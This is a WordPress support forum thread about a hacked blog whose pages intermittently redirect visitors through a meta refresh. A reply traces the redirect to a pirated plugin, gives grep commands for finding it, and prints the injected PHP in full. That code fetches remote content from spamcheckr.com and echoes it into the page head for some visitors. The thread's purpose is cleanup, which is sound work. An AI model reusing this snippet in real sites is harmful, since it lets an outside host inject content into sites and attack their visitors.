• I’ve noticed a lot of people on here have been hacked recently with a meta refresh redirecting to a Justin Bieber video.

    Although the error is hard to reproduce the code generally looks something like this: <meta http-equiv="refresh" content="0; url=https://www.youtube.com/watch?v=RFngSCaY5nA">

    Unfortunately I cannot find the source of the insertion of this code although it is likely a plugin, what is the best way to go about fully removing this new vulnerability it is affecting my traffic and stressing me out.

    It happens every so often on random pages when you land their from social media or google search results. I need my site scanned and this issue resolved immediately. Help!

    My blog is https://www.rapwave.net

Viewing 5 replies - 1 through 5 (of 5 total)
  • Moderator t-p

    (@t-p)

    Good news is you don’t seem to have too many plugins running. If you have a form plugin that you downloaded buy “accidentally” forgot to pay for like formcraft or gravity forms, it’s probably that.

    You can check your folders by using a useful little command in the terminal if you have grep (default on macs and many others but not pc). For pc use findstr or download grep. If you don’t have access to these files locally either download them or access them remotely with ssh/telnes

    The grep command I use is:

    grep -nr 'https://spamcheckr.com/l.php' /www/mysite/wp-content

    (Don’t forget to change /www/mysite/wp-content to the location of your wordpress site)

    Using -nr options with grep it will output the exact line of the folder and file the code is on.

    Unfortunately it will probalby tell you it’s on line one, but when you open the file you’ll notice its a compressed file that is about 250 lines long. No problem though. Just open it with any text editor that has syntax highlighting turned on and look for this code:

    if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "https://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

    It will be the only code that shows up highlighted while all other code will remain greyed out because it’s only there to trick you and doesn’t actually do anything. You can then delete that code.

    You might also want to check on who added the file in the first place so just use the same grep command that you used above but instead use the name of the file that you found the malicious code in. So if the file name is includes/settings.php run the following in the command line:

    grep -nr 'includes/settings.php' /www/mysite/wp-content

    Most likely the file was included in the main php script in the plugin root or theme functions.php.

    It will look something like this

    include 'includes/settings.php';

    You’re safe to delete that line, if the file was all garbage code. I’d also look through that page to see if anything else was added that looks suspicious.

    You’re safest bet would be to discontinue from using the plugin entirely, but if you really need it you could run through some online virus checkers or just look through the plugin to be extra safe.

    Most often these plugins come from sites like wplocker/themeok or other sites that claim they have premium plugins for free. Bottom line is, it’s too good to be true and they want to rip you off so either pay for them or be ready for them to screw with your site.

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    Just keep in mind that there are probably backdoors left in your site.

    By the way this guys posted answer the other day about searching for https://spamcheckr.com/l.php

    sorry this is a bit late but i want to know how to use grep ~nr please give a good source for tutorial.
    my site is also hacked my this meta refresh but i don’t see the any code <meta http-equiv=”refresh” content=”0; url=https://www.youtube.com/watch?v=RFngSCaY5nA”> in the page source of the redirected page.
    how is this possible ?
    I am having access to backend of my site but it is mearly helpful cause how can i use gref or findstr?
    I lost google adsense account and also my google rankings are lost please help me..
    how can i use grep or findstr using FTP please give me a tutorial the above given pages are truly not helpful.

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘Site hacked by Meta Refresh’ is closed to new replies.